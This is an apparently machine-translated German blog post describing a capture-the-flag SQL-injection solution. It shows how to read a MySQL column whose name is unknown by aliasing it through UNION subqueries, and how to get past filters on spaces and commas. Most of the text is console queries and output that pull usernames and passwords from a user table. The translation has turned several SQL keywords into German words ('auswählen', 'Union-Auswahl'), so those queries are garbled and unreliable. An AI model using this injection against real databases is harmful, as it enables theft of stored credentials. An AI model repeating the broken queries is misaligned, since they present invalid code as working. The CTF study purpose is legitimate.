So umgehen Sie unbekannte Feldnamen in MySQL

So umgehen Sie unbekannte Feldnamen in MySQL

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich die lokale Maschine, um sie zu betreiben. Die Idee ist großartig und klar. Teilen Sie sie mit allen. Schauen wir uns die ausführliche Einführung an:

Umsetzungsideen

Die Frage filtert Leerzeichen und Kommas. Leerzeichen können mit %0a, %0b, %0c, %0d, %a0 oder Klammern direkt umgangen werden. Kommas können mit „join“ umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt und information_schema.columns filtert auch den Hex-Wert des Tabellennamens heraus, d. h. der Feldname kann nicht abgerufen werden. In diesem Fall kann eine gemeinsame Abfrage verwendet werden. Der Vorgang ist wie folgt:

Die Idee besteht darin, die Flagge zu erhalten und sie unter einem bekannten Feldnamen erscheinen zu lassen.

Beispielcode:

mysql> auswählen (1 auswählen)a,(2 auswählen)b,(3 auswählen)c,(4 auswählen)d;
+---+---+---+---+
| ein | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | Administrator | admin888 | [email protected] |
| 2 | Test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+----------+----------+-------------+
4 Zeilen im Satz (0,01 Sek.)
 
mysql> wähle e.4 aus (wähle * aus (wähle 1)a,(wähle 2)b,(wähle 3)c,(wähle 4)d Union wähle * aus Benutzer)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 Reihen im Satz (0,03 Sek.)
 
mysql> wähle e.4 aus (Auswahl * aus (Auswahl 1)a,(Auswahl 2)b,(Auswahl 3)c,(Auswahl 4)d Union-Auswahl * aus Benutzer)e Limit 1 Offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
1 Zeile im Satz (0,01 Sek.)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
Union-Auswahl * vom Benutzer)e Limit 1 Offset 3)f, (Auswahl 1)g, (Auswahl 1)h, (Auswahl 1)i;
+-------------+----------+----------+-------------+
| ID | Benutzername | Passwort | E-Mail |
+-------------+----------+----------+-------------+
| 1 | Administrator | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 Reihen im Satz (0,04 Sek.)

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels Ihnen bei Ihrem Studium oder Ihrer Arbeit helfen kann. Wenn Sie Fragen haben, können Sie eine Nachricht hinterlassen. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • Verhindern Sie XSS- und SQL-Injection: JS-Sonderzeichenfilterung regelmäßig
  • Eine SQL-Anweisung zum Filtern doppelter Daten
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • SQL-Injection umgeht die Einschränkung auf einfache Anführungszeichen und setzt die Injektion fort
  • Zusammenfassung der SQL-Injection-Bypass-Techniken
  • Verwenden mehrspaltiger zusammengesetzter Indizes zum Umgehen eines Fehlers in Microsoft SQL Server
  • Einige wichtige Punkte zur Umgehung von SQL-Injection
  • Methode zum Wiederherstellen versehentlich gelöschter Heap-Tabellendatensätze im einfachen SQL Server-Modus (unter Umgehung der Header-Überprüfung)
  • SQL-Injection-Techniken: Detaillierte Analyse der Umgehung der Kommafilterung bei expliziten und blinden Injections

<<:  Tomcat erhält den Clientdomänennamen des Nginx-Reverse-Proxys

>>:  js implementiert eine einfache Methode zur Kapselung von jQuery und eine detaillierte Erklärung der Kettenoperationen

Artikel empfehlen

VUE+Canvas realisiert den gesamten Prozess eines einfachen Gobang-Spiels

Vorwort In Bezug auf das Layout ist Gobang viel e...

Vuex implementiert einfache Warenkorbfunktion

In diesem Artikelbeispiel wird der spezifische Co...

Verstehen Sie JavaScript-Prototypen und Prototypenketten gründlich

Inhaltsverzeichnis Vorwort Den Grundstein legen P...

Implementierungsschritte zur Installation von RocketMQ im Docker

Inhaltsverzeichnis 1. Rufen Sie das Bild ab 2. Br...

Analyse des Unterschieds zwischen Emits und Attrs in Vue3

Inhaltsverzeichnis abschließend Praxisanalyse Erw...

Lösung für MySQL-Verbindungsausnahme und Fehler 10061

MySQL ist ein relationales Datenbankverwaltungssy...

Detaillierte Erklärung zur Verwendung von Docker-Compose-Befehlen

Sie können Docker-Container auf verschiedene Arte...

WeChat-Applet implementiert Taschenrechnerfunktion

In diesem Artikel wird der spezifische Code für d...

js implementiert das Popup-Anmeldefeld durch Klicken auf das Popup-Fenster

In diesem Artikel wird der spezifische Code von j...